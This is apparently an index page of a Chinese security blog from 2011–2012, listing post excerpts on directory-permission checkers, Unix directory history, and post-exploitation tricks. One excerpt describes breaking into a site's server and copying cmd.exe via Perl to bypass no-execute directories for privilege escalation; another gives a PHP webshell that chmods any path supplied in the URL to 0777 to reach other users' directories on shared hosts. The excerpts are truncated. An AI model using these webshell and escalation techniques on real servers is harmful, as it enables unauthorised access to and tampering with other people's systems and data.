PHP遍历单目录可写权限脚本

分类:工具 | 2012-02-19 | 撸过 415 次
0人扯谈
PHP遍历单目录可写权限脚本

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />[......]

继续阅读

Unix目录结构的来历

分类:新闻 | 2012-02-17 | 撸过 317 次
1人扯谈

Unix(包含Linux)的初学者,常常会很困惑,不明白目录结构的含义何在。

举例来说,根目录下面有一个子目录/bin,用于存放二进制程序。但是,/usr子目录下面还有/usr/bin,以及/usr/local/bin,也用于存放二进制程序;某些系统甚至还有/opt/bin。它们有何区别?

长久以来,我也感到很费解,不明白为什么这样设计。像大多数人一样,我只是根据《Unix文件系统结构标准》(Filesystem Hierarchy Standard),死记硬背不同目录的区别。

昨天,我读到了Rob Landley的简短解释,这才恍然大悟,原来Unix目录结构是历史造成的[......]

继续阅读

目录读写检测aspx版本

分类:工具 | 2012-01-17 | 撸过 455 次
0人扯谈

 

下载:目录读写检测aspx

利用PERL突破目录无执行权限

分类:安全 | 2011-12-30 | 撸过 420 次
0人扯谈

前几天和谐一个站,独立服务器,就一个站,想提权应该不难。后来发现是坑爹的星外啊。草了啥目录多没权限执行。

翻来翻去翻到个PERL目录,这东西玩的少。在百度搜到一篇吐司发的文章,利用方法拿了权限。文章如下:

目标可写目录无执行权限.装有PERL。有运行权限。但system,exec,“,这几个函数没有权限。

注意PERL并非系统权限。而是继承的nt authority\network service权限,所以默认比web权限略的高点。

 

利用perl的copy 函数
use File::Copy;
$a=’d:\web\cmd.exe’;
$ac=’c:/windows/Micros[......]

继续阅读

linux不提权跨目录访问的代码

分类:安全 | 2011-12-6 | 撸过 512 次
0人扯谈

linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的。

在提不了权的情况下,试试如下代码吧。运气好的话说不定就跨过去了。

代码如下:

<?php
$path = stripslashes($_GET ['path'] );
$ok = chmod ($path , 0777);
if ($ok == true)
echo CHMOD OK , Permission editable file or directory. Permission to write;
?>

把上面代码保存为webshell.PHP

然后访问http://www.webshell.c[......]

继续阅读